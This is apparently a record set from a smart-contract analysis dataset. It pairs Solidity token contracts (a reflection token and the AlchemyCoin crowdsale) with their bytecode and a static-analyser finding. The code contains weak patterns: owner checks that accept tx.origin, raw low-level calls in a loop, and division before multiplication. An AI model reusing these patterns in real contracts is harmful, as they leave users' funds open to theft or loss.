amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = ((tAmount / 100) * 2); uint256 tTransferAmount = tAmount - tFee; return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; uint256 rTransferAmount = rAmount - rFee; return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return (rSupply / tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < (_rTotal / _tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb14610258578063cba0e9961461026b578063dd62ed3e1461027e578063f2cc0c1814610291578063f2fde38b146102a4578063f84354f1146102b757610137565b806370a082311461020d578063715018a6146102205780638da5cb5b1461022857806395d89b411461023d578063a457c2d71461024557610137565b806323b872dd116100ff57806323b872dd146101ac5780632d838119146101bf578063313ce567146101d257806339509351146101e75780634549b039146101fa57610137565b8063053ab1821461013c57806306fdde0314610151578063095ea7b31461016f57806313114a9d1461018f57806318160ddd146101a4575b600080fd5b61014f61014a3660046114a8565b6102ca565b005b61015961038f565b6040516101669190611512565b60405180910390f35b61018261017d36600461147f565b610421565b6040516101669190611507565b61019761043f565b60405161016691906118c8565b610197610445565b6101826101ba366004611444565b610454565b6101976101cd3660046114a8565b61052a565b6101da61056d565b60405161016691906118d1565b6101826101f536600461147f565b610576565b6101976102083660046114c0565b6105c5565b61019761021b3660046113f1565b610629565b61014f61068b565b610230610714565b60405161016691906114f3565b610159610723565b61018261025336600461147f565b610732565b61018261026636600461147f565b6107d6565b6101826102793660046113f1565b6107ea565b61019761028c366004611412565b610808565b61014f61029f3660046113f1565b610833565b61014f6102b23660046113f1565b61096b565b61014f6102c53660046113f1565b610a2b565b60006102d4610c00565b6001600160a01b03811660009081526004602052604090205490915060ff16156103195760405162461bcd60e51b815260040161031090611837565b60405180910390fd5b600061032483610c04565b5050506001600160a01b03841660009081526001602052604090205491925061034f91839150611936565b6001600160a01b038316600090815260016020526040902055600654610376908290611936565b6006556007546103879084906118df565b600755505050565b60606008805461039e9061194d565b80601f01602080910402602001604051908101604052809291908181526020018280546103ca9061194d565b80156104175780601f106103ec57610100808354040283529160200191610417565b820191906000526020600020905b8154815290600101906020018083116103fa57829003601f168201915b5050505050905090565b600061043561042e610c00565b8484610c50565b5060015b92915050565b60075490565b6a52b7d2dcc80cd2e400000090565b6000610461848484610d04565b6001600160a01b038416600090815260036020526040812090610482610c00565b6001600160a01b03166001600160a01b03168152602001908152602001600020548211156104c25760405162461bcd60e51b8152600401610310906116e8565b610520846104ce610c00565b6001600160a01b038716600090815260036020526040812086916104f0610c00565b6001600160a01b03166001600160a01b031681526020019081526020016000205461051b9190611936565b610c50565b5060019392505050565b600060065482111561054e5760405162461bcd60e51b8152600401610310906115a8565b6000610558610ec9565b905061056481846118f7565b9150505b919050565b600a5460ff1690565b6000610435610583610c00565b848460036000610591610c00565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461051b91906118df565b60006a52b7d2dcc80cd2e40000008311156105f25760405162461bcd60e51b8152600401610310906116b1565b8161061057600061060284610c04565b509294506104399350505050565b600061061b84610c04565b509194506104399350505050565b6001600160a01b03811660009081526004602052604081205460ff161561066957506001600160a01b038116600090815260026020526040902054610568565b6001600160a01b0382166000908152600160205260409020546104399061052a565b610693610c00565b6001600160a01b03166106a4610714565b6001600160a01b0316146106ca5760405162461bcd60e51b815260040161031090611730565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60606009805461039e9061194d565b600060036000610740610c00565b6001600160a01b03908116825260208083019390935260409182016000908120918716815292529020548211156107895760405162461bcd60e51b815260040161031090611883565b610435610794610c00565b8484600360006107a2610c00565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461051b9190611936565b60006104356107e3610c00565b8484610d04565b6001600160a01b031660009081526004602052604090205460ff1690565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61083b610c00565b6001600160a01b031661084c610714565b6001600160a01b0316146108725760405162461bcd60e51b815260040161031090611730565b6001600160a01b03811660009081526004602052604090205460ff16156108ab5760405162461bcd60e51b81526004016103109061167a565b6001600160a01b03811660009081526001602052604090205415610905576001600160a01b0381166000908152600160205260409020546108eb9061052a565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600460205260408120805460ff191660019081179091556005805491820181559091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319169091179055565b610973610c00565b6001600160a01b0316610984610714565b6001600160a01b0316146109aa5760405162461bcd60e51b815260040161031090611730565b6001600160a01b0381166109d05760405162461bcd60e51b8152600401610310906115f2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610a33610c00565b6001600160a01b0316610a44610714565b6001600160a01b031614610a6a5760405162461bcd60e51b815260040161031090611730565b6001600160a01b03811660009081526004602052604090205460ff16610aa25760405162461bcd60e51b81526004016103109061167a565b60005b600554811015610bfc57816001600160a01b031660058281548110610ada57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610bea5760058054610b0590600190611936565b81548110610b2357634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600580546001600160a01b039092169183908110610b5d57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600490925220805460ff191690556005805480610bc357634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b0319169055019055610bfc565b80610bf481611988565b915050610aa5565b5050565b3390565b6000806000806000806000610c1888610eec565b915091506000610c26610ec9565b90506000806000610c388c8686610f1f565b919e909d50909b509599509397509395505050505050565b6001600160a01b038316610c765760405162461bcd60e51b8152600401610310906117f3565b6001600160a01b038216610c9c5760405162461bcd60e51b815260040161031090611638565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610cf79085906118c8565b60405180910390a3505050565b6001600160a01b038316610d2a5760405162461bcd60e51b8152600401610310906117ae565b6001600160a01b038216610d505760405162461bcd60e51b815260040161031090611565565b60008111610d705760405162461bcd60e51b815260040161031090611765565b6001600160a01b03831660009081526004602052604090205460ff168015610db157506001600160a01b03821660009081526004602052604090205460ff16155b15610dc657610dc1838383610f5b565b610ec4565b6001600160a01b03831660009081526004602052604090205460ff16158015610e0757506001600160a01b03821660009081526004602052604090205460ff165b15610e1757610dc1838383611075565b6001600160a01b03831660009081526004602052604090205460ff16158015610e5957506001600160a01b03821660009081526004602052604090205460ff16155b15610e6957610dc183838361111e565b6001600160a01b03831660009081526004602052604090205460ff168015610ea957506001600160a01b03821660009081526004602052604090205460ff165b15610eb957610dc1838383611160565b610ec483838361111e565b505050565b6000806000610ed66111d2565b9092509050610ee581836118f7565b9250505090565b60008080610efb6064856118f7565b610f06906002611917565b90506000610f148286611936565b935090915050915091565b6000808080610f2e8588611917565b90506000610f3c8688611917565b90506000610f4a8284611936565b929992985090965090945050505050565b6000806000806000610f6c86610c04565b6001600160a01b038d1660009081526002602052604090205494995092975090955093509150610f9d908790611936565b6001600160a01b038916600090815260026020908152604080832093909355600190522054610fcd908690611936565b6001600160a01b03808a166000908152600160205260408082209390935590891681522054610ffd9085906118df565b6001600160a01b03881660009081526001602052604090205561102083826113b4565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161106391906118c8565b60405180910390a35050505050505050565b600080600080600061108686610c04565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506110b7908690611936565b6001600160a01b03808a16600090815260016020908152604080832094909455918a168152600290915220546110ee9083906118df565b6001600160a01b038816600090815260026020908152604080832093909355600190522054610ffd9085906118df565b600080600080600061112f86610c04565b6001600160a01b038d1660009081526001602052604090205494995092975090955093509150610fcd908690611936565b600080600080600061117186610c04565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506111a2908790611936565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546110b7908690611936565b60065460009081906a52b7d2dcc80cd2e4000000825b60055481101561136f5782600160006005848154811061121857634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611291575081600260006005848154811061126a57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156112b1576006546a52b7d2dcc80cd2e4000000945094505050506113b0565b60016000600583815481106112d657634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020546113059084611936565b9250600260006005838154811061132c57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205461135b9083611936565b91508061136781611988565b9150506111e8565b506a52b7d2dcc80cd2e400000060065461138991906118f7565b8210156113aa576006546a52b7d2dcc80cd2e40000009350935050506113b0565b90925090505b9091565b816006546113c29190611936565b6006556007546113d39082906118df565b6007555050565b80356001600160a01b038116811461056857600080fd5b600060208284031215611402578081fd5b61140b826113da565b9392505050565b60008060408385031215611424578081fd5b61142d836113da565b915061143b602084016113da565b90509250929050565b600080600060608486031215611458578081fd5b611461846113da565b925061146f602085016113da565b9150604084013590509250925092565b60008060408385031215611491578182fd5b61149a836113da565b946020939093013593505050565b6000602082840312156114b9578081fd5b5035919050565b600080604083850312156114d2578182fd5b82359150602083013580151581146114e8578182fd5b809150509250929050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b8181101561153e57858101830151858201604001528201611522565b8181111561154f5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252602a908201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260408201526965666c656374696f6e7360b01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604082015260600190565b6020808252601f908201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252602c908201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460408201526b3434b990333ab731ba34b7b760a11b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b600082198211156118f2576118f26119a3565b500190565b60008261191257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611931576119316119a3565b500290565b600082821015611948576119486119a3565b500390565b60028104600182168061196157607f821691505b6020821081141561198257634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561199c5761199c6119a3565b5060010190565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220945dbb6d61a4b5f22381accd7a5112e52acc715d0b4efb10c8a10d89b0354a5864736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
10,004
0xaf8eabf89f5664a2bc82ca415a4337821cd54d65
pragma solidity ^0.4.23; // File: contracts/Ownable.sol contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require((msg.sender == owner) || (tx.origin == owner)); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/Bonus.sol contract Bonus is Ownable { using SafeMath for uint256; mapping(address => uint256) public buyerBonus; mapping(address => bool) hasBought; address[] public buyerList; function _addBonus(address _beneficiary, uint256 _bonus) internal { if(hasBought[_beneficiary]){ buyerBonus[_beneficiary] = buyerBonus[_beneficiary].add(_bonus); } else { hasBought[_beneficiary] = true; buyerList.push(_beneficiary); buyerBonus[_beneficiary] = _bonus; } } } // File: contracts/ERC20Basic.sol contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/ERC20.sol contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/CrowdSale.sol contract Crowdsale is Bonus { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // ICO exchange rate uint256 public rate; // ICO Time uint256 public openingTimePeriodOne; uint256 public closingTimePeriodOne; uint256 public openingTimePeriodTwo; uint256 public closingTimePeriodTwo; uint256 public bonusDeliverTime; // Diff bonus rate decided by time uint256 public bonusRatePrivateSale; uint256 public bonusRatePeriodOne; uint256 public bonusRatePeriodTwo; // Token decimal uint256 decimals; uint256 public tokenUnsold; uint256 public bonusUnsold; uint256 public constant minPurchaseAmount = 0.1 ether; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); event TokenBonus(address indexed purchaser, address indexed beneficiary, uint256 bonus); modifier onlyWhileOpen { require(block.timestamp <= closingTimePeriodTwo); _; } constructor (uint256 _openingTimePeriodOne, uint256 _closingTimePeriodOne, uint256 _openingTimePeriodTwo, uint256 _closingTimePeriodTwo, uint256 _bonusDeliverTime, uint256 _rate, uint256 _bonusRatePrivateSale, uint256 _bonusRatePeriodOne, uint256 _bonusRatePeriodTwo, address _wallet, ERC20 _token, uint256 _decimals, uint256 _tokenUnsold, uint256 _bonusUnsold) public { require(_wallet != address(0)); require(_token != address(0)); require(_openingTimePeriodOne >= block.timestamp); require(_closingTimePeriodOne >= _openingTimePeriodOne); require(_openingTimePeriodTwo >= _closingTimePeriodOne); require(_closingTimePeriodTwo >= _openingTimePeriodTwo); wallet = _wallet; token = _token; openingTimePeriodOne = _openingTimePeriodOne; closingTimePeriodOne = _closingTimePeriodOne; openingTimePeriodTwo = _openingTimePeriodTwo; closingTimePeriodTwo = _closingTimePeriodTwo; bonusDeliverTime = _bonusDeliverTime; rate = _rate; bonusRatePrivateSale = _bonusRatePrivateSale; bonusRatePeriodOne = _bonusRatePeriodOne; bonusRatePeriodTwo = _bonusRatePeriodTwo; tokenUnsold = _tokenUnsold; bonusUnsold = _bonusUnsold; decimals = _decimals; } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be sent uint256 tokens = _getTokenAmount(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); // calculate bonus amount to be sent uint256 bonus = _getTokenBonus(weiAmount); _addBonus(_beneficiary, bonus); bonusUnsold = bonusUnsold.sub(bonus); emit TokenBonus( msg.sender, _beneficiary, bonus ); _forwardFunds(); } function isClosed() public view returns (bool) { return block.timestamp > closingTimePeriodTwo; } function isOpened() public view returns (bool) { return (block.timestamp < closingTimePeriodOne && block.timestamp > openingTimePeriodOne) || (block.timestamp < closingTimePeriodTwo && block.timestamp > openingTimePeriodTwo); } function privateCrowdsale(address _beneficiary, uint256 _ethAmount) external onlyOwner{ _preValidatePurchase(_beneficiary, _ethAmount); // calculate token amount to be sent uint256 tokens = _getTokenAmount(_ethAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, _ethAmount, tokens ); // calculate bonus amount to be sent uint256 bonus = _ethAmount.mul(10 ** uint256(decimals)).div(1 ether).mul(bonusRatePrivateSale); _addBonus(_beneficiary, bonus); bonusUnsold = bonusUnsold.sub(bonus); emit TokenBonus( msg.sender, _beneficiary, bonus ); } function returnToken() external onlyOwner{ require(block.timestamp > closingTimePeriodTwo); require(tokenUnsold > 0); token.transfer(wallet,tokenUnsold); tokenUnsold = tokenUnsold.sub(tokenUnsold); } /** * WARNING: Make sure that user who owns bonus is still in whitelist!!! */ function deliverBonus() public onlyOwner { require(bonusDeliverTime <= block.timestamp); for (uint i = 0; i<buyerList.length; i++){ uint256 amount = buyerBonus[buyerList[i]]; token.transfer(buyerList[i], amount); buyerBonus[buyerList[i]] = 0; } } function returnBonus() external onlyOwner{ require(block.timestamp > bonusDeliverTime); require(bonusUnsold > 0); token.transfer(wallet, bonusUnsold); bonusUnsold = bonusUnsold.sub(bonusUnsold); } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view onlyWhileOpen { require(_beneficiary != address(0)); require(_weiAmount >= minPurchaseAmount); } function _validateMaxSellAmount(uint256 _tokenAmount) internal view onlyWhileOpen { require(tokenUnsold >= _tokenAmount); } function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); tokenUnsold = tokenUnsold.sub(_tokenAmount); } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _validateMaxSellAmount(_tokenAmount); _deliverTokens(_beneficiary, _tokenAmount); } function _getTokenAmount( uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(10 ** uint256(decimals)).div(1 ether).mul(rate); } function _getTokenBonus(uint256 _weiAmount) internal view returns (uint256) { uint256 bonusRate = 0; if(block.timestamp > openingTimePeriodOne && block.timestamp < closingTimePeriodOne){ bonusRate = bonusRatePeriodOne; } else if(block.timestamp > openingTimePeriodTwo && block.timestamp < closingTimePeriodTwo){ bonusRate = bonusRatePeriodTwo; } return _weiAmount.mul(10 ** uint256(decimals)).div(1 ether).mul(bonusRate); } function _forwardFunds() internal { wallet.transfer(msg.value); } } // File: contracts/StandardToken.sol contract StandardToken is ERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; uint256 totalSupply_; bool public transferOpen = true; modifier onlyWhileTransferOpen { require(transferOpen); _; } function setTransfer(bool _open) external onlyOwner{ transferOpen = _open; } function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public onlyWhileTransferOpen returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public onlyWhileTransferOpen returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/Whitelist.sol contract Whitelist is Ownable { using SafeMath for uint256; mapping(address => bool) public whitelist; mapping(address => uint256) whitelistIndexMap; address[] public whitelistArray; uint256 public whitelistLength = 0; modifier isWhitelisted(address _beneficiary) { require(whitelist[_beneficiary]); _; } function addToWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = true; if (whitelistIndexMap[_beneficiary] == 0){ if (whitelistArray.length <= whitelistLength){ whitelistArray.push(_beneficiary); } else { whitelistArray[whitelistLength] = _beneficiary; } whitelistLength = whitelistLength.add(1); whitelistIndexMap[_beneficiary] = whitelistLength; } } function addManyToWhitelist(address[] _beneficiaries) external onlyOwner { for (uint256 i = 0; i < _beneficiaries.length; i++) { whitelist[_beneficiaries[i]] = true; } } function removeFromWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = false; if (whitelistIndexMap[_beneficiary] > 0){ uint index = whitelistIndexMap[_beneficiary]-1; whitelistArray[index] = whitelistArray[whitelistLength-1]; whitelistArray[whitelistLength-1] = 0; whitelistIndexMap[_beneficiary] = 0; whitelistLength = whitelistLength.sub(1); } } } // File: contracts/AFIToken.sol contract AFIToken is StandardToken, Crowdsale, Whitelist { using SafeMath for uint256; string public constant name = "AlchemyCoin"; string public constant symbol = "AFI"; uint8 public constant decimals = 8; uint256 constant INITIAL_SUPPLY = 125000000 * (10 ** uint256(decimals)); uint256 constant ICO_SUPPLY = 50000000 * (10 ** uint256(decimals)); uint256 constant ICO_BONUS = 12500000 * (10 ** uint256(decimals)); uint256 public minRevenueToDeliver = 0; address public assignRevenueContract; uint256 public snapshotBlockHeight; mapping(address => uint256) public snapshotBalance; // Custom Setting values --------------------------------- uint256 constant _openingTimePeriodOne = 1531713600; uint256 constant _closingTimePeriodOne = 1534132800; uint256 constant _openingTimePeriodTwo = 1535342400; uint256 constant _closingTimePeriodTwo = 1536552000; uint256 constant _bonusDeliverTime = 1552276800; address _wallet = 0x2Dc02F830072eB33A12Da0852053eAF896185910; address _afiWallet = 0x991E2130f5bF113E2282A5F58E626467D2221599; // ------------------------------------------------------- uint256 constant _rate = 1000; uint256 constant _bonusRatePrivateSale = 250; uint256 constant _bonusRatePeriodOne = 150; uint256 constant _bonusRatePeriodTwo = 50; constructor() public Crowdsale(_openingTimePeriodOne, _closingTimePeriodOne, _openingTimePeriodTwo, _closingTimePeriodTwo, _bonusDeliverTime, _rate, _bonusRatePrivateSale, _bonusRatePeriodOne, _bonusRatePeriodTwo, _wallet, this, decimals, ICO_SUPPLY, ICO_BONUS) { totalSupply_ = INITIAL_SUPPLY; emit Transfer(0x0, _afiWallet, INITIAL_SUPPLY - ICO_SUPPLY - ICO_BONUS); emit Transfer(0x0, this, ICO_SUPPLY); balances[_afiWallet] = INITIAL_SUPPLY - ICO_SUPPLY - ICO_BONUS; // add admin whitelist[_afiWallet] = true; whitelistArray.push(_afiWallet); whitelistLength = whitelistLength.add(1); whitelistIndexMap[_afiWallet] = whitelistLength; // add contract whitelist[this] = true; whitelistArray.push(this); whitelistLength = whitelistLength.add(1); whitelistIndexMap[this] = whitelistLength; balances[this] = ICO_SUPPLY + ICO_BONUS; } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view isWhitelisted(_beneficiary){ super._preValidatePurchase(_beneficiary, _weiAmount); } function transfer(address _to, uint256 _value) public isWhitelisted(_to) isWhitelisted(msg.sender) returns (bool) { super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public isWhitelisted(_to) isWhitelisted(_from) returns (bool){ super.transferFrom(_from, _to, _value); } function setRevenueContract(address _contract) external onlyOwner{ assignRevenueContract = _contract; } function createBalanceSnapshot() external onlyOwner { snapshotBlockHeight = block.number; for(uint256 i = 0; i < whitelistLength; i++) { snapshotBalance[whitelistArray[i]] = balances[whitelistArray[i]]; } } function setMinRevenue(uint256 _minRevenue) external onlyOwner { minRevenueToDeliver = _minRevenue; } function assignRevenue(uint256 _totalRevenue) external onlyOwner{ address contractAddress = assignRevenueContract; for (uint256 i = 0; i<whitelistLength; i++){ if(whitelistArray[i] == address(this)){ continue; } uint256 amount = _totalRevenue.mul(snapshotBalance[whitelistArray[i]]).div(INITIAL_SUPPLY); if(amount > minRevenueToDeliver){ bool done = contractAddress.call(bytes4(keccak256("transferRevenue(address,uint256)")),whitelistArray[i],amount); require(done == true); } } } }
0x608060405260043610610272576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063044c93661461027d57806306132a94146102ca57806306fdde0314610337578063095ea7b3146103c75780630ac2a1c71461042c5780630cadc5b3146104575780630ce4c9901461046e57806318160ddd1461049957806323b872dd146104c45780632978b8261461054957806329e46d3f146105765780632c4e722e146105a15780632e4a3657146105cc578063313ce567146105e35780633573522614610614578063360f1d071461062b5780633a7749c014610656578063498a6de7146106815780634f85769a146106c4578063521eb273146106ef57806353537303146107465780636618846314610771578063692aa97e146107d65780636f5b286d1461080557806370a08231146108305780637659de231461088757806378bb5164146108b25780638ab1d681146108dd5780638c10671c146109205780638da5cb5b1461095b57806395d89b41146109b25780639b19251a14610a42578063a296b32314610a9d578063a9059cbb14610acc578063a9825b7c14610b31578063b07fa05414610b5c578063b47dbf2214610bb3578063c2b6b58c14610bde578063c3a1fa0114610c0d578063c8a73eca14610c64578063c909b92914610c93578063d251fefc14610cbe578063d73dd62314610d2b578063d8152cbc14610d90578063da257cb414610da7578063dd62ed3e1461